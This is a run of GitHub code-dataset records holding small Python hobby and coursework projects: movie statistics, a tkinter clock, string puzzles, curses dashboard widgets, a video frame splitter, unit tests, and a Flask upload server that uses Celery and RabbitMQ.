votes.append(movie[\"vote_average\"])\n        if movie[\"revenue\"] != 0:\n            revenue.append(movie[\"revenue\"])\n        if movie[\"budget\"] != 0:\n            budget.append(movie[\"budget\"])\n    votes = np.array(votes)\n    revenue = np.array(revenue)\n    budget = np.array(budget)\n    avg_vote = np.mean(votes).item()\n    avg_revenue = np.mean(revenue).item()\n    avg_budget = np.mean(budget).item()\n    max_vote, max_revenue, max_budget = np.max(votes).item(), np.max(revenue).item(), np.max(budget).item()\n    min_vote, min_revenue, min_budget = np.min(votes).item(), np.min(revenue).item(), np.min(budget).item()\n    result = {\n        \"votes\" : {\n            \"avg\" : avg_vote,\n            \"min\" : min_vote,\n            \"max\" : max_vote\n        },\n        \"revenue\" : {\n            \"avg\" : avg_revenue,\n            \"min\" : min_revenue,\n            \"max\" : max_revenue\n        },\n        \"budget\" : {\n            \"avg\" : avg_budget,\n            \"min\" : min_budget,\n            \"max\" : max_budget\n        }\n    }\n    return result","repo_name":"Nishad94/Movie-Conversation-Bot","sub_path":"movie_app/tmdb.py","file_name":"tmdb.py","file_ext":"py","file_size_in_byte":4485,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"43123487032","text":"from tkinter import *\nfrom tkinter.font import Font\nimport datetime\nimport calendar\n#The below libraries are for `loadfont`\nfrom ctypes import windll, byref, create_unicode_buffer, create_string_buffer\n\nFR_PRIVATE  = 0x10\nFR_NOT_ENUM = 0x20\ndef loadfont(fontpath, private=True, enumerable=False):\n\tif isinstance(fontpath, bytes):\n\t\tpathbuf = create_string_buffer(fontpath)\n\t\tAddFontResourceEx = windll.gdi32.AddFontResourceExA\n\telif isinstance(fontpath, str):\n\t\tpathbuf = create_unicode_buffer(fontpath)\n\t\tAddFontResourceEx = windll.gdi32.AddFontResourceExW\n\telse:\n\t\traise TypeError('fontpath must be of type str or unicode')\n\tflags = (FR_PRIVATE if private else 0) | (FR_NOT_ENUM if not enumerable else 0)\n\tnumFontsAdded = AddFontResourceEx(byref(pathbuf), flags, 0)\n\treturn bool(numFontsAdded)\n\nclass ClockModule:\n\n\tdef __init__(self, root):\n\t\tloadfont(\"fonts/Montserrat-Thin.ttf\")\n\t\tmontserrat_big = Font(family=\"Montserrat Thin\", size=72)\n\t\tmontserrat_small = Font(family=\"Montserrat Thin\", size=48)\n\n\t\tself.root = root\n\t\tself.day = Label(root, font=montserrat_big, fg=\"white\", bg=\"black\", padx=5)\n\t\tself.day.grid(row=0, sticky=\"w\")\n\t\tself.fulldate = Label(root, font=montserrat_small, fg=\"white\", bg=\"black\", padx=15)\n\t\tself.fulldate.grid(row=1, column=0, sticky=\"w\")\n\t\tself.clock = Label(root, font=montserrat_small, fg=\"white\", bg=\"black\", padx=15)\n\t\tself.clock.grid(row=2, column=0, sticky=\"w\")\n\n\t\tself.time = \"\"\n\t\tself.dotw = \"\"\n\t\tself.date = \"\"\n\t\tself.loop()\n\n\tdef loop(self):\n\t\tcurrday = datetime.datetime.today()\n\t\tdotw = calendar.day_name[currday.weekday()] + \",\"\n\t\tdate = currday.strftime(\"%B %d, %Y\")\n\t\ttime = currday.strftime(\"%I:%M %p\")\n\t\tif self.time != time:\n\t\t\tself.time = time\n\t\t\tself.clock.config(text=time)\n\t\tif self.dotw != dotw:\n\t\t\tself.dotw = dotw\n\t\t\tself.day.config(text=dotw)\n\t\tif self.date != date:\n\t\t\tself.date = date\n\t\t\tself.fulldate.config(text=date)\n\t\tself.day.after(1000, self.loop)\n\n# Setting up the main \"root\"\n# of the hierarchy\nroot = Tk()\nroot.attributes('-fullscreen', True)\nroot.bind('<Escape>',lambda e: root.destroy())\nroot.configure(background=\"black\")\n\n# The \"root\" will contain several containers.\n# Each container will house a module.\n# For test purposes, I'm using \"pack\" alignment,\n# but we will use \"grid\" alignment soon.\ncontainer = Frame(root, bg=\"black\")\ncontainer.pack(side=\"left\", fill=\"both\")\nclock = ClockModule(container)\n\n# Runs the GUI\nroot.mainloop()","repo_name":"TPose-Labs/tests","sub_path":"testing_gui.py","file_name":"testing_gui.py","file_ext":"py","file_size_in_byte":2411,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"10868202562","text":"# One Away\n\"\"\"\n\"\"\"\n\nimport unittest\n\ndef one_away(s1, s2):\n    if s1==s2:\n        return True\n    elif (len(s1) - len(s2))==1:\n        return one_edit(s1, s2)\n        # return one_diff_check(s1, s2)\n    elif (len(s2) - len(s1))==1:\n        return one_edit(s2, s1)\n        # return one_diff_check(s1, s2)\n    elif len(s1) == len(s2):\n        # return one_edit(s1, s2)\n        return replace_check(s1, s2)\n    else:\n        return False\n\n\ndef one_diff_check(long_string, short_string):\n    for i in range(len(long_string)):\n        if long_string[:i] + long_string[i+1:] == short_string:\n            return True\n    return False\n\n\n\n\ndef one_edit(long_string, short_string):\n    i, j = 0, 0\n    flag = False\n    while i<len(long_string) and j<len(short_string):\n        if short_string[j] != long_string[i]:\n            if flag:\n                return False\n            flag = True\n            i += 1\n        else:\n            i += 1\n            j += 1\n    return True\n\n\n\n\n\ndef replace_check(s1, s2):\n    missmatch_flag= False\n    for i in range(len(s1)):\n        if s1[i] != s2[i]:\n            if missmatch_flag:\n                return False\n            missmatch_flag = True\n    return True\n\n\nclass Test(unittest.TestCase):\n    data = [\n        ('apple', 'apple', True),\n        ('apple', 'able', False),\n        ('apple', 'aple', True)\n    ]\n\n    def test(self):\n        for s1, s2, ans in self.data:\n            assert one_away(s1, s2) == ans\n\nif __name__ == '__main__':\n    unittest.main()\n","repo_name":"arianNsz/Cracking-the-Coding","sub_path":"Chapter 1/5_OneAway.py","file_name":"5_OneAway.py","file_ext":"py","file_size_in_byte":1492,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"42401703540","text":"import random\nchoices = ['Rock','Paper','Scissors']\nwhile True:\n    run = int(input('Press any number to play or press 0 to exit: '))\n    if run==0: \n        break\n    userChoice = int(input('\\n\\nEnter the number corresponding to your choice:\\n1. Rock\\n2. Paper\\n3. Scissors\\n'))\n    if userChoice not in [1,2,3]:\n        print('Incorrect choice')\n        continue\n    cpuChoice = random.randint(1,3)\n    res = 0\n    if cpuChoice==userChoice:\n        res = 1 # tie\n    elif (cpuChoice==1 and userChoice==2) or (cpuChoice==2 and userChoice==3) or (cpuChoice==3 and userChoice==1):\n        res = 2 # User won\n    else :\n        res = 3 # User lost\n    print('\\n\\nYour choice =',choices[userChoice-1])\n    print('CPU\\'s choice =',choices[cpuChoice-1])\n    print('---RESULT---')\n    if res==1:\n        print('Tie')\n    elif res==2:\n        print('Yayyy!! You won!!')\n    else:\n        print('You lose, better luck next time!!')\nprint('Thanks for playing!!')","repo_name":"Nirbhay-nrb/Python-Mini-Projects","sub_path":"rock_paper_scissors.py","file_name":"rock_paper_scissors.py","file_ext":"py","file_size_in_byte":953,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"7206249074","text":"# -*- coding: utf-8 -*-\nimport multiprocessing\nimport logging\nimport curses\nimport pytz\nimport datetime\nimport pyfiglet\nimport feedparser\nimport time\nimport calendar\nfrom . import curses_constants\n\nfrom . import fortune_cookie_loader\n\nlogger = logging.getLogger(__name__)\n\n\ndef is_config_section_valid_widget_worker(config_section):\n    subclasses_dict = {subclass.__name__: subclass for subclass in WidgetWorker.get_all_subclasses()}\n    subclass_names = subclasses_dict.keys()\n    return any(config_section.name.startswith(subclass_name) for subclass_name in subclass_names)\n\n\ndef instantiate_widget_from_configsection(config_section, output_queue):\n    logger.info(\"Initializing widget based on config section {}...\".format(config_section.name))\n    subclasses_dict = {subclass.__name__: subclass for subclass in WidgetWorker.get_all_subclasses()}\n    subclass_names = subclasses_dict.keys()\n    matching_subclass_name = next(\n        (subclass_name for subclass_name in subclass_names if config_section.name.startswith(subclass_name)), None)\n    matching_subclass = subclasses_dict[matching_subclass_name]\n    logger.info(\"Found matching widget class {}...\".format(matching_subclass))\n    if matching_subclass:\n        try:\n            widget_instance = matching_subclass.InstanceFromConfigSection(config_section, output_queue)\n        except Exception as e:\n            logger.error(\"Instantation of config_section {} failed, error message:\".format(config_section))\n            logger.error(e)\n            return None\n        return widget_instance\n    else:\n        return None\n\n\nclass WidgetWorker(multiprocessing.Process):\n    def __init__(self, output_queue, x, y, width, height):\n        multiprocessing.Process.__init__(self)\n        self.output_queue = output_queue\n        self.width = width\n        self.height = height\n        self.x = x\n        self.y = y\n\n    def get_windows(self):\n        border_win = curses.newwin(self.height, self.width, self.y, self.x)\n        win = border_win.derwin(self.height - 2, self.width - 2, 1, 1)\n        return border_win, win\n\n    def send_output_to_queue(self, output):\n        self.output_queue.put((self.name, self.label, output))\n\n    def send_input(self, input):\n        pass\n\n    @classmethod\n    def get_all_subclasses(cls):\n        all_subclasses = []\n\n        for subclass in cls.__subclasses__():\n            all_subclasses.append(subclass)\n            all_subclasses.extend(subclass.get_all_subclasses())\n\n        return all_subclasses\n\n    def get_label(self):\n        return self.name\n\n    def interior_space(self):\n        return self.width - 2, self.height - 2\n\n\nclass FortuneWorker(WidgetWorker):\n\n    def __init__(self, output_queue, x, y, width, height, fortune_file, label=\"Bern\"):\n        WidgetWorker.__init__(self, output_queue, x, y, width, height)\n        self.output_queue = output_queue\n        self.fortune_file = fortune_file\n        self.label = label\n        self.input_queue = multiprocessing.JoinableQueue()\n\n    @classmethod\n    def InstanceFromConfigSection(cls, configsection, output_queue):\n        instance = cls(\n            output_queue=output_queue,\n            x=configsection.getint(\"x\"),\n            y=configsection.getint(\"y\"),\n            width=configsection.getint(\"width\"),\n            height=configsection.getint(\"height\"),\n            fortune_file=configsection.get(\"fortune_file\"),\n            label=configsection.get(\"label\"),\n        )\n        return instance\n\n    def run(self):\n        max_width, max_height = self.interior_space()\n        f = fortune_cookie_loader.fortune_cookie_loader(self.fortune_file, max_width=max_width, max_height=max_height)\n        self.send_new_cookie(f)\n        while True:\n            event = self.input_queue.get()\n            self.send_new_cookie(f)\n\n    def send_input(self, input):\n        self.input_queue.put(input)\n\n    def send_new_cookie(self, f):\n        cookie = f.return_fortune_cookie()\n        logger.info(cookie)\n        output = []\n        regular_text = True\n        for y, line in enumerate(cookie):\n            output_line = [\"addstr\", y, 0, line]\n            if line.startswith(\"--\"):\n                regular_text = False\n\n            if not regular_text:\n                output_line.append(curses_constants.A_DIM)\n\n            output.append(output_line)\n        logger.info(output)\n        self.send_output_to_queue(output)\n\n    def get_label(self):\n        return self.label\n\n\n\nclass FeedReaderWorker(WidgetWorker):\n    # http://rss.cnn.com/rss/cnn_topstories.rss\n\n    def __init__(self, output_queue, x, y, width, height, feed_url, refresh_interval_mins = 10, label = \"RSS Feed\"):\n        WidgetWorker.__init__(self, output_queue, x, y, width, height)\n        self.feed_url = feed_url\n        self.refresh_interval_mins = refresh_interval_mins\n        self.label = label\n\n    @classmethod\n    def InstanceFromConfigSection(cls, configsection, output_queue):\n        instance = cls(\n            output_queue=output_queue,\n            x=configsection.getint(\"x\"),\n            y=configsection.getint(\"y\"),\n            width=configsection.getint(\"width\"),\n            height=configsection.getint(\"height\"),\n            feed_url=configsection.get(\"feed_url\"),\n            refresh_interval_mins=configsection.getint(\"refresh_interval_mins\"),\n            label=configsection.get(\"label\"),\n        )\n        return instance\n\n    def _prep_entry_summary(self, entry):\n        if hasattr(entry, \"published_parsed\"):\n            utc_tuple = entry.published_parsed\n            posix_timestamp = calendar.timegm(utc_tuple)\n            from tzlocal import get_localzone\n            local_timezone = get_localzone()\n            local_time = datetime.datetime.fromtimestamp(posix_timestamp, local_timezone)\n            local_time.strftime(\"%m/%d/%Y, %H:%M:%S\")\n            summary = \"{}: {}\".format(local_time.strftime(\"%Y-%m-%d %H:%M\"), entry[\"title\"])\n        else:\n            summary = \"No Time: {}\".format(entry[\"title\"])\n        return summary\n\n    def run(self):\n        while True:\n            feed = feedparser.parse(self.feed_url)\n            feed_entries_without_pubdate = [entry for entry in feed[\"entries\"] if hasattr(entry,\"published_parsed\")]\n            feed_entries_without_pubdate.sort(key=lambda x: x.published_parsed, reverse=True)\n\n            entries = []\n            for entry in feed_entries_without_pubdate[:self.y - 2]:\n                if hasattr(entry, \"published_parsed\"):\n                    entries.append(self._prep_entry_summary(entry))\n\n            output = []\n\n            for y, line in enumerate(entries):\n                output_line = [\"addstr\", y, 0, line]\n                if y%2:\n                    #output_line.append(curses.color_pair(9))\n                    output_line.append(curses_constants.A_REVERSE)\n                else:\n                    #output_line.append(curses.color_pair(8))\n                    output_line.append(curses_constants.A_BOLD)\n                output.append(output_line)\n\n            self.send_output_to_queue(output)\n\n            time.sleep(self.refresh_interval_mins * 60)\n\n\"\"\"\nclass QuoteWorker(WidgetWorker):\n\n    def __init__(self, output_queue, x, y, width, height):\n        WidgetWorker.__init__(self, output_queue, x, y, width, height)\n        self.output_queue = output_queue\n\n    @classmethod\n    def InstanceFromConfigSection(cls, configsection, output_queue):\n        instance = cls(\n            output_queue=output_queue,\n            x=configsection.getint(\"x\"),\n            y=configsection.getint(\"y\"),\n            width=configsection.getint(\"width\"),\n            height=configsection.getint(\"height\"),\n        )\n        return instance\n\n    def load_fitting_fortune_cookies(self):\n        available_width, available_height = self.interior_space()\n        fitting_fortune_cookies = []\n\n    def run(self):\n        output_lines = []\n        output_lines.extend([\"Zack \" * 15])\n        self.send_output_to_queue(output_lines)\n        return\n\n\nclass BoxWorker(WidgetWorker):\n\n    def __init__(self, output_queue, x, y, width, height, tl, t, tr, r, br, b, bl, l):\n        WidgetWorker.__init__(self, output_queue, x, y, width, height)\n        self.tl = tl\n        self.t = t\n        self.tr = tr\n        self.r = r\n        self.br = br\n        self.b = b\n        self.bl = bl\n        self.l = l\n\n    @classmethod\n    def InstanceFromConfigSection(cls, configsection, output_queue):\n        instance = cls(\n            output_queue=output_queue,\n            x=configsection.getint(\"x\"),\n            y=configsection.getint(\"y\"),\n            width=configsection.getint(\"width\"),\n            height=configsection.getint(\"height\"),\n            tl=configsection.get(\"tl\"),\n            t=configsection.get(\"t\"),\n            tr=configsection.get(\"tr\"),\n            r=configsection.get(\"r\"),\n            br=configsection.get(\"br\"),\n            b=configsection.get(\"b\"),\n            bl=configsection.get(\"bl\"),\n            l=configsection.get(\"l\"),\n        )\n        return instance\n\n    def run(self):\n        output = [\"BOX!\"]\n        output.append(\"{}{}{}\".format(self.tl, self.t * 5, self.tr))\n        for n in range(3): output.append(\"{}{}{}\".format(self.l, \" \" * 5, self.r))\n        output.append(\"{}{}{}\".format(self.bl, self.b * 5, self.br))\n        self.send_output_to_queue(output)\n        return\n\n\nclass CounterWorker(WidgetWorker):\n\n    def __init__(self, output_queue, x, y, width, height):\n        WidgetWorker.__init__(self, output_queue, x, y, width, height)\n        self.counter = 0\n        self.sleep_time = 0.1\n\n    def run(self):\n        while True:\n            self.counter += 1\n            output_lines = [\"Counter\", \"{}\".format(self.counter)]\n            self.send_output_to_queue(output_lines)\n\n            time.sleep(self.sleep_time)\n\n\"\"\"\n\nclass WorldClockWorker(WidgetWorker):\n    def __init__(self, output_queue, x, y, width, height, destination_timezone='Europe/Zurich', label=\"Bern\",\n                 sleep_time=1.0, time_format='%H:%M:%S', font='nancyj'):\n        WidgetWorker.__init__(self, output_queue, x, y, width, height)\n        self.label = label\n        self.local_timezone = pytz.timezone('US/Central')\n        self.destination_timezone = pytz.timezone(destination_timezone)\n        self.sleep_time = sleep_time\n        self.time_format = time_format\n        self.font = font\n\n    @classmethod\n    def InstanceFromConfigSection(cls, configsection, output_queue):\n        instance = cls(\n            output_queue=output_queue,\n            x=configsection.getint(\"x\"),\n            y=configsection.getint(\"y\"),\n            width=configsection.getint(\"width\"),\n            height=configsection.getint(\"height\"),\n            destination_timezone=configsection.get(\"destination_timezone\"),\n            label=configsection.get(\"label\"),\n            sleep_time=configsection.getint(\"sleep_time\", 1),\n            time_format=configsection.get(\"time_format\", '%H:%M:%S', raw=True),\n            font=configsection.get(\"font\", \"nancyj\")\n        )\n        return instance\n\n    def generate_figlet_output(self, string_to_output):\n        output_lines = pyfiglet.figlet_format(string_to_output, font=self.font, width=self.width - 2).split('\\n')\n        return [output_line for output_line in output_lines if output_line.strip()]\n\n    def get_label(self):\n        return self.label\n\n    def run(self):\n        try:\n            while True:\n                now = datetime.datetime.now()\n                local_time = self.local_timezone.localize(now)\n                destination_time = local_time.astimezone(self.destination_timezone)\n                formatted_destination_time = destination_time.strftime(self.time_format)\n                figlet_lines = self.generate_figlet_output(formatted_destination_time)\n                output_lines = []\n\n                for y, line in enumerate(figlet_lines):\n                    output_line = [\"addstr\", y, 0, line]\n                    # if line.startswith(\"--\"):\n                    #     output_line.append(curses.color_pair(9))\n                    # else:\n                    #     output_line.append(curses.color_pair(8))\n                    output_lines.append(output_line)\n\n                self.send_output_to_queue(output_lines)\n                time.sleep(self.sleep_time)\n        except Exception as e:\n            logger.error(e)\n\n","repo_name":"michaelmeer/wwwidget","sub_path":"wwwidget/widgetworkers/WidgetWorker.py","file_name":"WidgetWorker.py","file_ext":"py","file_size_in_byte":12313,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"2465102743","text":"from mna.element import *\nfrom mna.netlist.data import Netlist\nfrom mna.netlist.parser import line, parse\nfrom sympy import Float, Symbol\nimport parsec\nimport pytest\n\n\n@pytest.mark.xfail(raises=parsec.ParseError)\n@pytest.mark.parametrize(\n    \"input,expected\",\n    [\n        (\"V1 1 0 12\", VoltageSource(\"V1\", 1, 0, Float(12))),\n        (\"O1 0 2 3\", OpAmp(\"O1\", 0, 2, 3)),\n        (\n            \"R1 1 2 symbolic\",\n            Resistor(\"R1\", 1, 2, Symbol(\"R1\", real=True, positive=True)),\n        ),\n    ],\n)\ndef test_line(input: str, expected: Element):\n    assert line.parse_strict(input) == expected\n\n\n@pytest.mark.xfail(raises=parsec.ParseError)\n@pytest.mark.parametrize(\n    \"input,expected\",\n    [\n        (\n            \"\"\"\n    V1 1 0 symbolic\n    R1 1 2 symbolic\n    C1 2 0 1e-9\"\"\",\n            Netlist(\n                instances=[\n                    VoltageSource(\"V1\", 1, 0, Symbol(\"V1\")),\n                    Resistor(\"R1\", 1, 2, Symbol(\"R1\")),\n                    Capacitor(\"C1\", 2, 0, Float(\"1e-9\")),\n                ]\n            ),\n        )\n    ],\n)\ndef test_netlist(input: str, expected: Netlist):\n    assert parse(input) == expected\n","repo_name":"SolarLiner/mna","sub_path":"tests/test_parser.py","file_name":"test_parser.py","file_ext":"py","file_size_in_byte":1149,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"12279250137","text":"import cv2\nimport argparse\nimport os\nimport numpy as np\nimport json\n\ndef extract_binary_encoding(image, rois, h=3, w=4):\n    binary_string = \"\"\n    thresh = 20\n    for i, roi in enumerate(rois):\n        x0, y0 = roi[0],     roi[1]\n        x1, y1 = roi[0] + w, roi[1] + h\n        cell = cv2.cvtColor(image[y0:y1,x0:x1],cv2.COLOR_BGR2GRAY)\n        binary_string += \"0\" if np.mean(cell) < thresh else \"1\"\n        # cv2.imwrite(\"{}/im{}_cell{}.jpg\".format(out_path, count, i), cell)\n        # cv2.rectangle(image, (x0,y0), (x1, y1), (0,0,255), thickness=1)\n    number = int(binary_string, 2)\n    # print(\"binary: {} = {}\".format(binary_string, number))\n    return number, binary_string\n\n\ndef split_video_and_process_frames(path, out_path, out_w, out_h, to_gray=False):\n\n    try:\n        assert os.path.exists(out_path), \" :-( --- {} is not a path you drongo!\".format(out_path)\n    except AssertionError as e:\n        print(e)\n\n    vidcap = cv2.VideoCapture(path)\n    success, image = vidcap.read()\n    count = 0\n    if success:\n        while success:\n\n            rois = [(115,2),(124,2),(133,2),(141,2),(149,2),\n                    (158,2),(166,2),(174,2),(182,2),(191,2)]\n            enc_0, bin_0 = extract_binary_encoding(image, rois)\n            # print(\"binary: {} = {}\".format(binary_string, number))\n\n            rois = [(237,2), (246,2), (254,2), (262,2), (270,2),\n                    (279,2), (287,2), (295,2), (304,2), (313,2)]\n            enc_1, bin_1 = extract_binary_encoding(image, rois)\n            # print(\"binary: {} = {}\".format(binary_string, number))\n            if to_gray:\n                image    = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n                \n            img_cropped = image[40:,:]\n            orig_h      = img_cropped.shape[:2][0]\n            orig_w      = img_cropped.shape[:2][1]\n            x_scale     = out_w / orig_w\n            y_scale     = out_h / orig_h\n            img_resized = cv2.resize(img_cropped, None, fx=x_scale, fy=y_scale)\n            cv2.imwrite(\"{}/images/frame{:06d}.jpg\".format(out_path, count), img_resized)\n            \n            payload = {}\n            payload[\"image\"] = f\"frame{count:06d}\"\n            payload[\"throttle\"] = enc_0\n            payload[\"steering\"] = enc_1\n            \n            with open(f\"{out_path}/annotations/frame{count:06d}.json\", 'w') as f:\n                json.dump(payload, f)\n\n            count += 1\n            success,image = vidcap.read()\n            if count%1000 == 0:\n                print(\"Processed {} frames.\".format(count))\n\n        print(\"You Little Rippa!!!!!!!\")\n    else:\n        print(\"DANM Dauuug, looks like the file was not read properly.\")\n        print(\"The path you input was:\\n{}\".format(path))\n            \ndef main():\n    parser = argparse.ArgumentParser()\n    parser.add_argument('--in-path', type=str, required=True,\n                        help='Path to video')\n    parser.add_argument('--out-w', type=float, required=False, default=None,\n                        help='output width image. If None, then original width is used.')\n    parser.add_argument('--out-h', type=float, required=False, default=None,\n                        help='output width image. If None, then original height is used.')\n    parser.add_argument('--out-path', type=str, required=True,\n                        help='Where to save the resulting output.')\n    #parser.add_argument('--to-gray', type=bool, required=False, default=True)\n  # a boolean option\n    parser.add_argument(\"--to-gray\",\n        action=\"store_true\",\n        default=False\n    )\n    args    = parser.parse_args()\n    in_path    = args.in_path\n    out_path = args.out_path\n    out_h       = args.out_h if args.out_h is not None else orig_h\n    out_w       = args.out_w if args.out_w is not None else orig_w\n    to_gray = args.to_gray\n    split_video_and_process_frames(in_path, out_path, out_w, out_h, to_gray)\n            \nif __name__ == \"__main__\":\n    main()\n","repo_name":"tall-josh/fyp_diy_robo_car","sub_path":"preprocessing/split_encoded_video.py","file_name":"split_encoded_video.py","file_ext":"py","file_size_in_byte":3925,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"70826527690","text":"\"\"\"Tests for the BaseMatching class.\"\"\"\n\nimport pytest\nfrom hypothesis import given\nfrom hypothesis.strategies import dictionaries, text\n\nfrom matching import BaseMatching\n\nDICTIONARIES = given(\n    dictionary=dictionaries(\n        keys=text(),\n        values=text(),\n        min_size=1,\n        max_size=3,\n    )\n)\n\n\n@DICTIONARIES\ndef test_init(dictionary):\n    \"\"\"Make a matching and check their attributes are correct.\"\"\"\n\n    matching = BaseMatching()\n    assert matching == {}\n\n    matching = BaseMatching(dictionary)\n    assert matching == dictionary\n\n\n@DICTIONARIES\ndef test_repr(dictionary):\n    \"\"\"Check that a matching is represented by a normal dictionary.\"\"\"\n\n    matching = BaseMatching()\n    assert repr(matching) == \"{}\"\n\n    matching = BaseMatching(dictionary)\n    assert repr(matching) == str(dictionary)\n\n\n@DICTIONARIES\ndef test_keys(dictionary):\n    \"\"\"Check a matching can have its `keys` accessed.\"\"\"\n\n    matching = BaseMatching()\n    assert list(matching.keys()) == []\n\n    matching = BaseMatching(dictionary)\n    assert list(matching.keys()) == list(dictionary.keys())\n\n\n@DICTIONARIES\ndef test_values(dictionary):\n    \"\"\"Check a matching can have its `values` accessed.\"\"\"\n\n    matching = BaseMatching()\n    assert list(matching.values()) == []\n\n    matching = BaseMatching(dictionary)\n    assert list(matching.values()) == list(dictionary.values())\n\n\n@DICTIONARIES\ndef test_getitem(dictionary):\n    \"\"\"Check that you can access items in a matching correctly.\"\"\"\n\n    matching = BaseMatching(dictionary)\n    for (mkey, mval), (dkey, dval) in zip(\n        matching.items(), dictionary.items()\n    ):\n        assert matching[mkey] == mval\n        assert (mkey, mval) == (dkey, dval)\n\n\n@DICTIONARIES\ndef test_setitem_check_player_in_keys(dictionary):\n    \"\"\"Check for error when adding a new item to a matching.\"\"\"\n\n    key = list(dictionary.keys())[0]\n    matching = BaseMatching(dictionary)\n    assert matching._check_player_in_keys(key) is None\n\n    with pytest.raises(ValueError):\n        matching._check_player_in_keys(key + \"foo\")\n\n\n@DICTIONARIES\ndef test_setitem_check_new_valid_type(dictionary):\n    \"\"\"Check for error if a new match is not one of correct type.\"\"\"\n\n    val = list(dictionary.values())[0]\n    matching = BaseMatching(dictionary)\n    assert matching._check_new_valid_type(val, str) is None\n\n    with pytest.raises(ValueError):\n        matching._check_new_valid_type(val, float)\n","repo_name":"daffidwilde/matching","sub_path":"tests/base/test_matching.py","file_name":"test_matching.py","file_ext":"py","file_size_in_byte":2422,"program_lang":"python","lang":"en","doc_type":"code","stars":134,"dataset":"github-code","pt":"16"}
+{"seq_id":"42608502672","text":"'''\nhttps://www.codewars.com/kata/5526fc09a1bbd946250002dc/train/python\nLevel: 6kyu\n\n\nDirections:\n\n\nYou are given an array (which will have a length of at least 3, but could be very large) containing integers. The array is either entirely comprised of odd integers or entirely comprised of even integers except for a single integer N. Write a method that takes the array as an argument and returns this \"outlier\" N.\n\nExamples\n[2, 4, 0, 100, 4, 11, 2602, 36]\nShould return: 11 (the only odd number)\n\n[160, 3, 1719, 19, 11, 13, -21]\nShould return: 160 (the only even number)\n\n\nTests:\n\n\ntest.assert_equals(find_outlier([2, 4, 6, 8, 10, 3]), 3)\ntest.assert_equals(find_outlier([2, 4, 0, 100, 4, 11, 2602, 36]), 11)\ntest.assert_equals(find_outlier([160, 3, 1719, 19, 11, 13, -21]), 160)\n'''\n\ndef find_outlier(integers):\n    # Check if it is odd/even\n    first_bit = integers[0] & 0x1\n    # Check if the second matches the first\n    if integers[1] & 0x1 != first_bit:\n        # If it doesn't then the tiebreaker is the third\n        return integers[1] if (integers[2] & 0x1) == first_bit else integers[0]\n    # Otherwise we can iterate through the rest\n    for num in integers[2:]:\n        if num & 0x1 != first_bit:\n            return num\n\n","repo_name":"drewlitkowiak/100DaysOfCode","sub_path":"6kyu/Day28.py","file_name":"Day28.py","file_ext":"py","file_size_in_byte":1235,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"40641908140","text":"from django.views.generic import ListView\n\nfrom .models import *\nfrom .parse import get_post_data\n\n\nclass MainPage(ListView):\n    paginate_by = 3\n    model = Post\n    template_name = 'nasa/main.html'\n    context_object_name = 'posts'\n\n    def get_context_data(self, *, object_list=None, **kwargs):\n        context = super().get_context_data(**kwargs)\n\n        return context\n\n    get_post_data()\n","repo_name":"CAPTHAIN/TZ_NASA_TZ","sub_path":"nasa_site/nasa/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":396,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"5901507610","text":"import collections as c\nimport itertools as i  \n\ndef main():\n    f = open(\"input.txt\")\n    #f = open(\"ex.txt\")\n    inp = f.read().splitlines() \n    f.close() \n    a2, a3 = 0, 0\n\n    for e in inp:\n       freq  = c.Counter(e).values() \n       if(2 in freq): \n           a2 += 1\n       if(3 in freq):\n           a3 += 1\n\n    print(a2 * a3) \n   \n    for e, f in i.combinations(inp, 2): \n        #same  = [c1 == c2 for c1, c2 in zip(e, f)]\n        s = [i for i,j in zip(e,f) if i == j]\n        if sum( same) == len(e) - 1: \n            print(''.join(s))\n            break\n    print(\"done\" )\n\ndef differByOne(e, f): \n    diffs = 0\n    di = 0\n    for idx, (c1, c2) in enumerate(zip(e,f)): \n        if c2 != c1: \n            diffs += 1\n            di = idx\n    if  diffs == 1: \n        print(e, f, e[:di] + e[di + 1:])\n        return True \n    else: \n        return False \n\ndef ltrappear(s, i): \n    for c in s: \n        if s.count(c) == i: \n            return True \n    return False \n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"lkmsf/adventOfCode-","sub_path":"2018/day2.py","file_name":"day2.py","file_ext":"py","file_size_in_byte":1016,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"18897120983","text":"from flask import Flask, render_template, request, redirect, url_for\nfrom flask_socketio import SocketIO, emit, send\nfrom celery_example import make_celery\nimport requests, uuid, json, pika, time\n\nserver1_app = Flask(__name__)\nserver1_app.config['SECRET_KEY'] = 'secret server 1'\nsocketio = SocketIO(server1_app)\n\ncelery_flask_app = make_celery(server1_app)\n\n@server1_app.route('/', methods=['GET','POST'])\ndef upload():\n    if request.method == \"POST\":\n        print(\"masuk server 1\")\n\n        file = request.files['file']\n        unique_id = str(uuid.uuid4())\n\n        consume.delay(unique_id)\n        # do something\n        r = requests.post('http://127.0.0.1:5000/',\n                          files={ 'file' : file }, \n                          headers = {\"X-ROUTING-KEY\": unique_id})\n\n        result = json.loads(r.text)\n\n        return render_template('upload_result.html')\n    else:\n        return render_template('upload.html')\n\n@celery_flask_app.task(name='server1.consume')\ndef consume(routing_key):\n    credentials = pika.PlainCredentials('0806444524', '0806444524')\n    connection = pika.BlockingConnection(\n                    pika.ConnectionParameters(host='152.118.148.95',\n                                            port='5672',\n                                            virtual_host='/0806444524',\n                                            credentials=credentials\n                                            ))\n    channel = connection.channel()\n\n    channel.queue_declare(queue=routing_key, exclusive=True)\n    channel.queue_bind(exchange='1606882540',\n                       queue=routing_key,\n                       routing_key=routing_key)\n\n    channel.basic_consume(queue=routing_key, on_message_callback=receive_progress, auto_ack=True)\n    print(' [*] Waiting for messages')\n\n    channel.start_consuming()\n\ndef 